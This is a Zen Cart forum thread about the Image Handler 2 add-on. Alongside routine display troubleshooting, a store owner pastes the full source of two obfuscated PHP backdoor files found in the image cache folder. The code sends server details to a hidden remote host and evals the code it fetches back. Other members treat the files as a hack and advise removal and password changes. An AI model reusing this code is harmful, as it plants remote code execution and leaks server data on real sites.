Image Handler 2 (for ZC v1.3.8 ONLY) Support

kenny724:

No one ever answered my question. :( I'll try again. If you go to www.midsouthcoin.com/midsouthcoin store and click on say small cents category on the left...then click of one of the items, and then click on the large image.....the background gets messed if if you scroll down. Can some look and give me advice on the...click on the large image and scroll up and down on the page with your mouse wheel? Thanks.I'm using Fual Lightbox with IH2 and have had no problems EVER using these two together.. I'm fairly certain the issue has everything to do with something being wrong with your Fual install..

I played around with the code and fixed it. Trial and error. Set the height at 100%. Just another question though...i know there is a maximum image size....do you know what file would control the MINIMUM image size if there is one? Would like all the images to come up the same size. Thanks.

Hi Zenners,

I have been noticing recently that when viewing whos online through admin i have been noticing weird links (inparticular when visited by yahoo bot) such as:

/bmz_cache/amazing-cover-letter-creator-torrent.html

This is just one that i saw recently there have been others

Now i know that bmz_cache is part of image handler and whenever i click on the links i get 404 page not found and there is nothing in the bmz cache folder relating to any html documents.

I also only started to see these weird links when i installed simple SEO.

Anyone have any idea of what this could be?

gee38l:

Hi Zenners,

I have been noticing recently that when viewing whos online through admin i have been noticing weird links (inparticular when visited by yahoo bot) such as:

/bmz_cache/amazing-cover-letter-creator-torrent.html

This is just one that i saw recently there have been others

Now i know that bmz_cache is part of image handler and whenever i click on the links i get 404 page not found and there is nothing in the bmz cache folder relating to any html documents.

I also only started to see these weird links when i installed simple SEO.

Anyone have any idea of what this could be?

bmz_cache is for the images cache to help load the pages quicker and is where the images info is stored for easier editing of the images too.

go to the server and check the actual folder...see if there is any html files in there and download and remove them.

look at them in a text editor Notepad++ is great to do this with and see what its contents are.

Have you done your security updates for the cart?

post what the files have to say too, if there are any. Also jot down the ip addresses I just checked mine and there are several spider bots and google bots in there proweling...lol however all the clickable links are for my store products and not another spot...maybe a screen shot of the page too.

DarkAngel:

bmz_cache is for the images cache to help load the pages quicker and is where the images info is stored for easier editing of the images too.

go to the server and check the actual folder...see if there is any html files in there and download and remove them.

look at them in a text editor Notepad++ is great to do this with and see what its contents are.

Have you done your security updates for the cart?

post what the files have to say too, if there are any. Also jot down the ip addresses I just checked mine and there are several spider bots and google bots in there proweling...lol however all the clickable links are for my store products and not another spot...maybe a screen shot of the page too.

There are no HTML files in the bmz_cache folder.

All i see is pics and a few php files.

As far as im aware im up to date in terms of security patches.

I have attached a pic of my admin area (whos online)

gee38l:

There are no HTML files in the bmz_cache folder.

All i see is pics and a few php files.

As far as im aware im up to date in terms of security patches.

I have attached a pic of my admin area (whos online)

ty for the screenshot, I forget they don't get larger around here when attached but no matter.

In the bmz_cache folder there should only be more folders with each containing image files...either a mixture of .gif, .png and .jpg or all .jpg if you only use that type.

having php files in the image files is something to look into. what names do they have, download and remove them for any php in image file folders may mean a possible hack attempt, that is how they like to hide their hijacking files or their files to gather info that they do not need.

post name of file and using the # button in the posting window show us what the content is to really be able to determine whether you need to worry.

as I said image folder with .php files or .img files where there are only supposed to be .php files is a concern unless you yourself put them there.

DarkAngel:

ty for the screenshot, I forget they don't get larger around here when attached but no matter.

In the bmz_cache folder there should only be more folders with each containing image files...either a mixture of .gif, .png and .jpg or all .jpg if you only use that type.

having php files in the image files is something to look into. what names do they have, download and remove them for any php in image file folders may mean a possible hack attempt, that is how they like to hide their hijacking files or their files to gather info that they do not need.

post name of file and using the # button in the posting window show us what the content is to really be able to determine whether you need to worry.

as I said image folder with .php files or .img files where there are only supposed to be .php files is a concern unless you yourself put them there.

Filename of one of the files is: 176374.php

Here is the file content:

<? error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:$HTTP_HOST);$b=(isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:$SERVER_NAME);$c=(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:$REQUEST_URI);$d=(isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:$PHP_SELF);$e=(isset($_SERVER["QUERY_STRING"])?$_SERVER["QUERY_STRING"]:$QUERY_STRING);$f=(isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:$HTTP_REFERER);$g=(isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:$HTTP_USER_AGENT);$h=(isset($_SERVER["REMOTE_ADDR"])?$_SERVER["REMOTE_ADDR"]:$REMOTE_ADDR);$i=(isset($_SERVER["SCRIPT_FILENAME"])?$_SERVER["SCRIPT_FILENAME"]:$SCRIPT_FILENAME);$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])?$_SERVER["HTTP_ACCEPT_LANGUAGE"]:$HTTP_ACCEPT_LANGUAGE);$z="/?".base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".e.".base64_encode($i).".".base64_encode($j);$f=base64_decode("cnNzbmV3cy53cw==");if (basename($c)==basename($i)&&isset($_REQUEST["q"])&&md5($_REQUEST["q"])=="c48e2ab95421b0e6b25c6c84ccb93622") $f=$_REQUEST["id"];if((include(base64_decode("aHR0cDovL2Fkcy4=").$f.$z)));else if($c=file_get_contents(base64_decode("aHR0cDovLzcu").$f.$z))eval($c);else{$cu=curl_init(base64_decode("aHR0cDovLzcxLg==").$f.$z);curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);$o=curl_exec($cu);curl_close($cu);eval($o);};die(); ?>

There is another file called: 81431.php

<? error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:$HTTP_HOST);$b=(isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:$SERVER_NAME);$c=(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:$REQUEST_URI);$d=(isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:$PHP_SELF);$e=(isset($_SERVER["QUERY_STRING"])?$_SERVER["QUERY_STRING"]:$QUERY_STRING);$f=(isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:$HTTP_REFERER);$g=(isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:$HTTP_USER_AGENT);$h=(isset($_SERVER["REMOTE_ADDR"])?$_SERVER["REMOTE_ADDR"]:$REMOTE_ADDR);$i=(isset($_SERVER["SCRIPT_FILENAME"])?$_SERVER["SCRIPT_FILENAME"]:$SCRIPT_FILENAME);$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])?$_SERVER["HTTP_ACCEPT_LANGUAGE"]:$HTTP_ACCEPT_LANGUAGE);$z="/?".base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".e.".base64_encode($i).".".base64_encode($j);$f=base64_decode("cnNzbmV3cy53cw==");if (basename($c)==basename($i)&&isset($_REQUEST["q"])&&md5($_REQUEST["q"])=="1c9c141af20b84fdd184f973d11cd773") $f=$_REQUEST["id"];if((include(base64_decode("aHR0cDovL2Fkcy4=").$f.$z)));else if($c=file_get_contents(base64_decode("aHR0cDovLzcu").$f.$z))eval($c);else{$cu=curl_init(base64_decode("aHR0cDovLzcxLg==").$f.$z);curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);$o=curl_exec($cu);curl_close($cu);eval($o);};die(); ?>

In the BMZ_CACHE folder i have alot of folders a - f and 0 - 9 i looked thorugh every folder and it seems that most of them had a few php files similar to the two above.....

gee38l:

There is another file called: 81431.php

<? error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:$HTTP_HOST);$b=(isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:$SERVER_NAME);$c=(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:$REQUEST_URI);$d=(isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:$PHP_SELF);$e=(isset($_SERVER["QUERY_STRING"])?$_SERVER["QUERY_STRING"]:$QUERY_STRING);$f=(isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:$HTTP_REFERER);$g=(isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:$HTTP_USER_AGENT);$h=(isset($_SERVER["REMOTE_ADDR"])?$_SERVER["REMOTE_ADDR"]:$REMOTE_ADDR);$i=(isset($_SERVER["SCRIPT_FILENAME"])?$_SERVER["SCRIPT_FILENAME"]:$SCRIPT_FILENAME);$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])?$_SERVER["HTTP_ACCEPT_LANGUAGE"]:$HTTP_ACCEPT_LANGUAGE);$z="/?".base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".e.".base64_encode($i).".".base64_encode($j);$f=base64_decode("cnNzbmV3cy53cw==");if (basename($c)==basename($i)&&isset($_REQUEST["q"])&&md5($_REQUEST["q"])=="1c9c141af20b84fdd184f973d11cd773") $f=$_REQUEST["id"];if((include(base64_decode("aHR0cDovL2Fkcy4=").$f.$z)));else if($c=file_get_contents(base64_decode("aHR0cDovLzcu").$f.$z))eval($c);else{$cu=curl_init(base64_decode("aHR0cDovLzcxLg==").$f.$z);curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);$o=curl_exec($cu);curl_close($cu);eval($o);};die(); ?>

ok, this is what another software told me when I got some of those in our forum files...cause usually they have some kind of redirection in them or links ...they can get in by way of a disguised config file ...hence the search for any php files that do not belong in with the image files or vice versa. so make sure you inspect all those files cause they are hack attempts.

What have you installed recently into your store ... check the zips that you got cause unless you did not manually install the items and someone else does your installing then those were put up there by a would be hacker.

The other software told me that anyfile with numbers like that, which you do not install yourself are indeed a hack attempt either by the contributor (which I am fairyly certain this place does not allow or it would go the way of the dinos very fast) or by someone hacking the server files.

It is best to find out for certain, then download them all and delete them from the server...do this regardless.

Then keep an eye out to see if they reoccur. Talk to your host about these files also and please, change your password to get into the server files and the admin section.

DarkAngel:

ok, this is what another software told me when I got some of those in our forum files...cause usually they have some kind of redirection in them or links ...they can get in by way of a disguised config file ...hence the search for any php files that do not belong in with the image files or vice versa. so make sure you inspect all those files cause they are hack attempts.

What have you installed recently into your store ... check the zips that you got cause unless you did not manually install the items and someone else does your installing then those were put up there by a would be hacker.

The other software told me that anyfile with numbers like that, which you do not install yourself are indeed a hack attempt either by the contributor (which I am fairyly certain this place does not allow or it would go the way of the dinos very fast) or by someone hacking the server files.

It is best to find out for certain, then download them all and delete them from the server...do this regardless.

Then keep an eye out to see if they reoccur. Talk to your host about these files also and please, change your password to get into the server files and the admin section.

Thanks for the info and i usually install mods myself manually by going through each folder and uploading?

IS there anything else i can do to prevent this?

gee38l:

Thanks for the info and i usually install mods myself manually by going through each folder and uploading?

IS there anything else i can do to prevent this?

I install manually also that is how i found out about those types of files too. I experienced a problem went to the forums and asked the creator what that file was for and he then told me he did not add it. went to his downlable item and found it to have it so they repackaged it.

When a hacker wants in tis like the flu...they will find a way.

Well manually installing is one way. Make sure there are no more of those files anywhere else in the store fodlers...check each and every one of them for those numbered files and remove them.

make double sure you have done all the security updates they have listed in here by redoing them and overwriting the ones that are in there.

and as I said change your pass for the server and the admin...changing the passwords at intervals is best to do anyway.

I suggest posting these questions in either the general section of the forum or in the Simple SEO support thread to get a more complete response to your issue.. The issue you are reporting seems very much unrelated to Image Handler and it's purpose or behavior.. The fact that one of the affected folders happens to be an IH2 folder is coincidental at best..

gee38l:

Hi Zenners,

I have been noticing recently that when viewing whos online through admin i have been noticing weird links (inparticular when visited by yahoo bot) such as:

/bmz_cache/amazing-cover-letter-creator-torrent.html

This is just one that i saw recently there have been others

Now i know that bmz_cache is part of image handler and whenever i click on the links i get 404 page not found and there is nothing in the bmz cache folder relating to any html documents.

I also only started to see these weird links when i installed simple SEO.

Anyone have any idea of what this could be?

gee38l:

Thanks for the info and i usually install mods myself manually by going through each folder and uploading?

IS there anything else i can do to prevent this?

DarkAngel:

I install manually also that is how i found out about those types of files too. I experienced a problem went to the forums and asked the creator what that file was for and he then told me he did not add it. went to his downlable item and found it to have it so they repackaged it.

When a hacker wants in tis like the flu...they will find a way.

Well manually installing is one way. Make sure there are no more of those files anywhere else in the store fodlers...check each and every one of them for those numbered files and remove them.

make double sure you have done all the security updates they have listed in here by redoing them and overwriting the ones that are in there.

and as I said change your pass for the server and the admin...changing the passwords at intervals is best to do anyway.

Thanks for the info i have spoken to my host and advised them of the situation and there responses seem to always refer to blocking the yahoo search bot!!!

I have changed all my passwords and deleted all the files that shouldnt be there in relation to image handler folders.

DivaVocals:

I suggest posting these questions in either the general section of the forum or in the Simple SEO support thread to get a more complete response to your issue.. The issue you are reporting seems very much unrelated to Image Handler and it's purpose or behavior.. The fact that one of the affected folders happens to be an IH2 folder is coincidental at best..

Thanks for the reply i have made a thread in the general section and i have also just posted in the simple seo url support thread.

gee38l:

Thanks for the reply i have made a thread in the general section and i have also just posted in the simple seo url support thread.Thanks.. Not trying to be a pain or anything.. It's just that the discussion and the possible solutions are a LOT off topic for this support thread..:smile:

thanks diva it never occurred to me to have the admins split this from this topic too.

Hi, I recently installed Image Handler 2 so that I could display larger images on product mouseover. Currently it is displaying the category image on mouseover but it will not display a larger product image on mouseover.. I want the opposite. I've tried to configure in Admin>Tools>ImageHandler2>Manager and also in Admin>Configuration>Images. I have zoom turned on for small/medium/large images so I don't understand why product images aren't displaying on mouseover. Please help! I'm using ZenCart 1.3.8a & Image Handler 2 V2R7

I have the same thing and the others I have seen are doing the same thing...hover over thumbnail and you see the exact same size as what is pictured then when you clik the image you get the ffull size (as to what you set--mine is 700x700)

I have different sizes for the individual settings but still only get the hover image to be exactly as the one pictured not the medium size.

Not sure if this is the intention of the add on or not.

DarkAngel:

I have the same thing and the others I have seen are doing the same thing...hover over thumbnail and you see the exact same size as what is pictured then when you clik the image you get the ffull size (as to what you set--mine is 700x700)

I have different sizes for the individual settings but still only get the hover image to be exactly as the one pictured not the medium size.

Not sure if this is the intention of the add on or not.I am not getting a hover image at all when putting my mouse over products, the hover image only comes up when my mouse is over a category image.

HELO TIM..
I FOUND BUG WHEN I OPEN WITH GOOGLE CROME BROWSER..
LET CHECK OUT THIS....

And this with firefox browser...

could you fixed this bug....thanx before